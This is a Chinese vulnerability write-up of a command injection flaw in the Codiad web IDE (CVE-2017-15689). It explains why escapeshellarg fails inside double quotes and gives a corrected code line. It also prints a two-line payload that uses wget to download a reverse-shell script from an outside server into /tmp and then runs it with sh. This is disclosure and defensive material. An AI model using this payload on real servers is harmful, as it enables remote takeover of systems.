[CVE-2017-15689]Codiad 漏洞挖掘笔记 (0x04) [新的远程命令执行漏洞]


本文首发地址 :

https://xianzhi.aliyun.com/forum/read/2046.html

先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
先知技术社区投稿邮箱:Aliyun_xianzhi@service.alibaba.com


简介 :

Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。

这个应用程序采用PHP开发,并且不需要一个SQL数据库,数据是存储在一个JSON格式的文件中。

它的界面包含三个面板:

项目/文件管理器具
代码编辑器
菜单/功能


简要分析 :

这个漏洞的成因不能说是开发者的疏忽了
应该说是开发者太过于信任 php 的 escapshellarg 这个函数
后来想了一下 , 我觉得可能很多开发者都没有意识到这个函数的正确使用方式
很有可能别的 php 项目中也存在相同的漏洞
具体信息如下文 :


漏洞点以及利用方式 :

components/filemanager/class.filemanager.php

image.png

具体在这句话 :

$output = shell_exec('find -L ' . $this->path . ' -iregex  ".*' . $this->search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');

变量 $this->search_file_type
这个变量在使用之前是经过 escapeshellarg 函数处理过的
可能很多人会问了 , 既然都已经经过 php 的官方函数处理过了
还会存在漏洞吗 ?
很不幸 , 由于开发者没有正确使用这个函数 , 漏洞是存在的

经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令 并且被双引号包裹
这样就会造成漏洞

而且漏洞的危害就是远程命令执行

接下来我们来测试一下漏洞是否可用
首先搭建环境

image.png

使用 ping 命令来测试一下

image.png

可以发现接收到了 icmp 数据包裹
说明命令确实是被执行了的
那么我们来测试一下是否可以成功反弹一个 shell 呢
由于 escapeshellarg 函数会在被过滤的参数两边添加单引号 , 并且会对参数中的所有单引号进行转义
那么我们需要找一些不需要单引号和双引号的命令来实现反弹 shell 的操作
笔者想到的一个方法是利用 wget 下载反弹 shell 的脚本 , 然后通过 sh 去执行这个脚本即可
wget 通过 -P 参数可以指定保存路径
我们可以在公网 vps 上监听 80 端口 , 将反弹 shell 的命令写入到 index.html
然后通过 wget 将其下载到目标服务器的一个可写目录下 (/tmp) , 然后再用 sh 执行这个脚本
payload 如下 :
wget 8.8.8.8 -p /tmp
sh /tmp/index.html

image.png
image.png
image.png

成因分析 :

bash 在解析单引号和双引号的时候是有区别的
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的
但是双引号不同 , bash 会将变量名解析成变量的值再使用

如下图 :

1503921486631.png

我们都知道反引号是可以执行命令的 , 那么如果反引号位于单引号和双引号内部 , 会有什么区别吗 ?

1503921599097.png

可以看到在双引号中的反引号内容会被当做命令执行

那么这个漏洞的成因即为 : 虽然使用了 escapeshellarg 函数 , 但是经过这个函数过滤的参数又在外部被双引号包裹起来 , 因此 , 就导致了命令执行漏洞

参考 php.net 中的官方文档 :

1503921777352.png

这个函数会给参数左右添加单引号 , 因此正确的做法是这样 :

$output = shell_exec('find -L ' . $this->path . ' -iregex  '.escapeshellarg('.*'.$this->search_file_type).' -type f | xargs grep -i -I -n -R -H '.escapeshellarg($input));

参考资料 :

http://www.grymoire.com/Unix/Quote.html
http://wiki.bash-hackers.org/syntax/quoting


总结 :

总结一下 , 经过 php 的 escapeshellarg 的 shell 命令的参数
如果会被双引号包裹 , 那么个这个函数事实上形同虚设
所以千万不能在使用这个函数的时候再自作主张在两侧添加双引号

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 207,113评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,644评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,340评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,449评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,445评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,166评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,442评论 3 401
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,105评论 0 261
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,601评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,066评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,161评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,792评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,351评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,352评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,584评论 1 261
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,618评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,916评论 2 344

推荐阅读更多精彩内容

  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,135评论 2 34
  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,691评论 0 11
  • 常听到这句话单身久了是一种病,我都在想我自己,是不是自己也得了这种病。首先自己具备这种病的条件,那就是单身。...
    九思往阅读 539评论 0 2
  • Given an array of n positive integers and a positive inte...
    风起云涌Hal阅读 331评论 0 0
  • 睡觉的鼻子一滴一滴的感觉有不明物体留下,半夜起来找纸很烦哎,影响睡眠!天干物燥!莫名其妙!
    熊与花阅读 336评论 0 0